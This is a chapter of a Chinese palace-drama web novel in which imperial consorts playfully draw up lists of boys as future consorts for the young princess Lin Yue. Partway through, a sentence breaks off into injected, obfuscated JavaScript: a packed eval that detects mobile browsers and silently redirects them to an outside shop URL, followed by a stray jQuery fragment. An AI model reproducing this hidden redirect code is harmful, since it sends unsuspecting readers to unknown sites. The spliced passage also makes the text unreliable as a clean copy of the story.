宫中皆传近些日子贤妃又得宠了,皇上一下朝便往茗香殿去,一连好几日了。
天气渐热,怡良媛搬去了越溪馆,渐渐也显怀了,便不爱多走动。一为纳凉,二为陪怡良媛逗逗闷子,宁贵嫔时常也去越溪馆待着。
林乾常来茗香殿,宁贵嫔也没怎么往过去,这些年她同林乾的情分也是尔尔,不愿多见他,还是十五那天才来了素华这里。
进门就见素华捧着册子有些昏昏欲睡的模样,她有些促狭道:“呀,姐姐不会又有喜了吧?”
一番话吓得素华清醒了,连连摆手:“可不敢再有孩子了。”
殿里没有旁人,宁贵嫔走近之后拿手肘碰她:“瞧不出来呀,老夫老妻了,那位还有这样的兴致呢……跟我说说,昨晚几次呢?”
素华哼了一声:“一次也没有。”
“那你们晚上做什么了?总不至于点着灯在做文章吧。”
“真只是做文章便好了。”宁贵嫔不是外人,素华把这几日整理出来的小册子拿给她看,“那,这便是这几日做的文章。”
宁贵嫔粗粗一看全是些画像,立马拿袖子遮了脸:“哎呀,这光天化日,怎么把这个拿出来了?我不看我不看。”
素华气得要拧她的腰:“小妮子诨想些什么呢,正经东西!”
“嘿嘿嘿。”宁贵嫔一边躲闪一边笑,绕了一圈后在她旁边坐了,翘着兰花指接过册子,“来来来,我瞧瞧,皇帝和贤妃俩人在被窝里都写了什么——噢,赵世修?谁啊?武安二十年三月生;王崇礼?又是谁?武安二十一年十一月生……嗯?全是小男娃的名字?”
素华把话咽了又咽,实在不知道怎么说,女儿还不到十岁,便着急相看人家……真是选驸马便罢了,可……
哎呀,这都是什么事。
宁贵嫔眨了眨眼睛,站起身绕着素华转了两圈:“难道说……这是选给我们阿花的?”
素华闭着眼点了点头,小声嗯了一声:“那位要选个童养夫给阿花呢,再要两个伺候笔墨的,再有两个陪着听曲儿看戏的,再要个骑□□通的,好陪着闺女四处游玩。噢,说起游玩,最好还得会讲各地风物掌故,免得阿花听个故事都要靠旁人转述。”
宁贵嫔愣了几息,随即又道:“那不成……”
“你也觉得荒唐是吧……”
“不是,我是说,得要个会做饭的。这万一外头的餐食不合口味,也别叫小阿花饿着了。”
素华扶了扶额角:“难怪你是最先被定下来给他的,你们俩合该是一对。”
“咱们阿花就该有最好的男儿配着,一个不够好就两个,两个不够好就四个,多些又何妨呢?”宁贵嫔说着,又靠近些,“好姐姐,跟我说说,选人有什么要求呢?柳氏大把的小子,能不能也从柳氏挑几个孩子?都是自家人……”
素华没应声,算是答应了,宁贵嫔喜滋滋取了笔墨过来,一边写一边说:“阿花今年八岁,那选出来的男娃娃最大也不要超过十岁——嗯,便要五岁到十岁的吧。淳儿那辈是不用想了,最小的也定了亲。便要侄孙那辈吧,我想想,要武安十八年到二十三年间出生的。”
见宁贵嫔自顾自开始写名字,素华掀了帘子,叫宜春去厨房要个冰碗过来。
宁贵嫔向来贪凉,今日为凑这热闹,额头上沁出汗了也浑然未觉。
素华再来看时,宣纸上写满了名字。
“柳晋叙、柳晋书、柳晋昭、柳晋言、柳晋承、柳晋恒、柳晋崇……”看了这许多名字,素华都快不认识柳和晋这两个字了。
宁贵嫔此时也放下了笔,正巧看到手边的冰碗,接过喝了一大口:“嗯,晋字辈适龄的男娃,都写在这儿了,一共二十个。”
素华颇有些无奈:“这么些娃娃,都由得阿花挑吗?”
“嗯!哎呀,你放心,不拘看上哪个,我立马写信给他爹,保管我大侄儿欢天喜地地把儿子送过来。那可是求也求不来的好事,哪有推诿的道理。”
素华不同她争:“我说不过你。你就折腾吧,左右闲着无事,有点事情打发时间也好。只一点,此事啊,不得宣扬。阿花领了封地,本就是孩子里独一份儿了,再大张旗鼓选什么驸马,难免惹人非议。”
宁贵嫔满口答应:“你放心,你放心。”
第二天,素华看到德妃宁贵嫔一左一右陪着怡良媛过来,就知道宁贵嫔压根没把她的话听进去,刚要说些什么,德妃先发制人了:“怎么这样大的事情也不叫我?当真生分了不是。”
她二人也就罢了,眼下最金贵的是怀着双生子的怡良媛,素华只得先把人请进来再赔礼:“是是是,都是我的不是。这样的好事,实该叫姐姐妹妹们都知道才好。”
德妃满意了,点点头:“这才应该。听映容说,有个姓王的,是咱们家崇礼吗?”宁贵嫔去找她时,提到册子上的姓名,但她早忘了名字,只记得是和德妃一个姓。
素华点头称是:“便是阿历的那个伴读。他见过觉得不错,也要做候选之一。”
“嗯,不错,崇礼是比崇文斯文许多。也算上心了。”
怡良媛家里没有适龄的男娃,急得团团转:“都怪我大哥!要是他早几年成亲,怕是现在也能赶上。真是,多好的机遇呢!”
说完她又想起什么,看向素华:“姐姐放心,我大哥的容貌是没得挑的。皇上,皇上肯定见过,你去问他。我大哥若有孩子,必然也是一副好皮相。哎呀,可惜了。”
素华有些讪讪,怡良媛还不知道,皇上私底下还曾把她大哥列为面首之一呢,幸好年岁差得太多作罢了。
她上前扶了怡良媛坐下:“别走动了,一会儿又是一身汗。”
讲句实在话,当初给林乾选妃登记造册时,宁贵嫔和怡良媛可是躲得远远的,德妃同她一起写写画画,可是满面的愁容,哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710328|202873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像这会儿,姐妹三个恨不能把小子们一一拎过来叫林玥看。
又要白净的,又要身形高挑的,还要性子温顺、知书达理……
几人商量了半天,最终得出结论:“还真别说,那位的眼光当真可信,江泽洲真是最好的一个。”
午间林玥回茗香殿用午膳,却见几位姨娘都笑眯眯地看着她,眼神里透着古怪。她摸了摸脸,只当墨点子溅到脸上了,净手时胡乱在脸上抹了一把。
德妃先叫她了:“阿花过来。”
“德姨娘,阿花许久不见你了,瞧着风采依旧,更甚从前呢。”德妃满脸的笑把她搂过来,奉承的话她听过许多,就小阿花说的她听着最舒心。
“阿花,我家崇礼,你觉得怎么样?看着可还顺眼?”
林玥回忆起那个有些拘礼的小书生,印象中他还替自己写过几张大字,于是点了点头:“我知道,王崇礼是德姨娘母族里的孩子。他很好,还替我做过功课。”
德妃笑容更甚:“行,你看着顺眼就好。”
宁贵嫔手头既无孩子画像,又没有叫孩子同林玥见面的机会,甚至有些孩子她也没见过,便叫林玥看着名字:“哪个名字看着最顺眼?”
林玥皱着眉头看了半天,就认出柳晋言的名字,其他笔画横七竖八的,就随手指了这个。
素华仍旧记得林乾金口指的未来驸马,便问了:“那你觉得,江泽洲怎么样?”
林玥转了转眼珠子,她大概猜到几位姨娘的意思:“我觉得表姐和书娴很好,我不想换伴读。”
几人相视一笑,也罢,都还是孩子,慢慢看着就是了。纵是现在叫林玥选,再过十年也未必还中意。
林乾倒毫不客气,待宁贵嫔将柳氏几个孩子画像送来,圈了两个他看着中意的,吩咐下回宫宴,请世子夫人带来看看。
最近的便是中秋,德妃生辰倒是没几天了,但她也不好大张旗鼓请外命妇入宫,便同去年一样,请了宫里大大小小的众位妃嫔。
姜御女比之去年,待遇不是好了一点半点,不仅座位朝前了,还有人专门给她扇扇子呢。
时至今日,她依旧占着林乾份例中的两个菜,算算恩宠嘛,在低阶妃嫔里也算头一个了。
她很知足,只要父亲在家乡不头脑发热干什么伤天害理的事,她大约就可以在宫里平安活到老了。等再过两年,若能趁下届新人进宫前怀上子嗣,便是再稳妥不过的打算。
说起来静嫔同恪容华算是差不多时日有孕的,一个嘛早早小产失宠,连带着儿子也越发不受待见,一个母凭子贵晋了位,赏赐更是流水似的往颐和馆送。
今日两个都没来,恪容华刚出月子,德妃怕她中了暑气,嘱咐她不必特意前来;静嫔是阿金过来告罪,说身子不适。两厢都送了贺礼,也算周全了。
姜御女悄悄在心里叹气,阿姆说得果真不假,男人,哼,总是靠不住的。